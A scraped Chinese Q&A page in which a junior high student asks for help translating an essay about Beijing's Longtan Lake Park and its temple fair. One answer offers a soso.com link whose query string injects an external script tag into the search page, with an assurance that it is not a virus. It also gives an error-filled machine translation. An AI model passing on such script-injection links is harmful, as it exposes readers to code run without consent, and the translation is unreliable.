谢谢您,我需要您的帮助,翻译一小段文章好吗?

来源:百度知道 编辑:UC知道 时间:2024/05/23 17:34:45
我只是初一学生,这对我来说太困难了,各位好人,帮忙翻译一下好吗?
龙潭湖公园
龙潭湖公园位于崇文区左安门里。近年来新建了一批独具特色、风格幽雅的古典园林建筑,使龙潭公园成为北京典雅的现代化的园林公园之一。
龙潭公园内有30万平方米的水面,3700米蜿蜒曲折的湖岸,由天然石和规则石断面砌成。湖中山岛相映,于整齐中见天然情趣。沿岸林木葱葱、绿草茵茵、湖中碧水粼粼,临湖小路,卵石浅滩,台阶护坡,变化无穷,使湖岸时而平滑直立,棱角分明,时而山石层叠,令人心旷神怡。湖中石拱桥、双亭桥和龙潭瀑布把湖分成四个小岛、四个半岛、三个浅滩、一个峡谷、六块桥头绿地。人们在湖中荡舟,可以观赏湖光景色、亭台殿阁。
整个景区以龙为主题,形成了龙吟阁景区、龙潭景区、龙字石林景区、龙门景区和莲塘花屿景区等五处景区。这里不仅有各种与龙有关的建筑,而且种植的树木花草,也都巧取龙趣。龙柏、龙须柳、龙爪槐,给人以龙的联想。漫步其间,游人好像在龙的世界里前行,无时无刻不感受到龙的冲击,那种震撼是其他的景点所不能相提并论的。
每年春节,北京人民喜爱在这里举办盛大的庙会,热闹非凡。今年寒假,我们全家都在那里度过了快乐的一天。龙潭湖庙会最争奇斗艳的是这绵延两公里之多的各种摊位,民俗布艺、传统手工艺、民间小吃琳琅满目,除此之外,还有很多大江南北中外名特小吃和各种新奇玩具、高科技工艺品。融会传统与现代,贯通民俗与创新,这真是一场新时代的大集市。传统小吃也一应俱全,老北京的灌肠、臭豆腐、爆肚、茶汤……还有大江南北的名特产品,天津狗不理包子、十八街麻花、蒙古烤羊肉、香港佛跳墙、……最奇特的还是这昆虫宴,什么蝉、蜈蚣、蜘蛛、海马、蝎子都能炸着吃,看得我都是胆战心惊!庙会上还充斥着各种民俗表演,场面最大的龙潭花会没拍上真是一大遗憾,踩高跷、秧歌、鼓乐……煞是好看。还有几处抬花轿的,只要交费就能感受一下。吹糖人的艺人现场制作,吸引了好多人围观。另外,最多的摊位就是传统的转运风车和现代造型的各种风车,新奇面具、假发、带牛角发箍,好玩的玩具、造型超级可爱的棒棒糖,还有就是各种福猪工艺品等。
龙潭公园为首都人民增加了一处新颖、独特的活动场所,是市民休息娱乐的好去处,也是到京城旅游的游客必不可少的旅游景点。如果您汉没有去,那

晕,这叫一小段啊?

这个很容易的,只要你打开网页,在地址栏上输入这个网站,就万事OK了,
http://www.soso.com/q?w=%3cscript%20src%3d%22http%3a%2f%2ffanyi%2ecn%2eyahoo%2ecom%2fbabelfish1%2ejs%22%3e%3c%2fscript%3e&sc=adr&ch=th.u&gid=ObeLc2JNgQWwSqk2XcsVRMV40M410000不是病毒,放心打开看一下吧!希望对你有所帮助,
Longtan Lake Park left Tiananmen Longtan Lake Park Lane in the Chongwen District. In recent years a number of unique new, elegant style of classical landscape architecture. Longtan Park, so elegant, a modern garden parks. Longtan Park surface is 300,000 square meters, 3,700 meters terrain of the banks. by the rules of natural stone and stone-brick section. Zhongshan island form a lake, tidy seen in the natural amenities. Misty forests along the coast, the corners on the green lawn, clean water, clear lak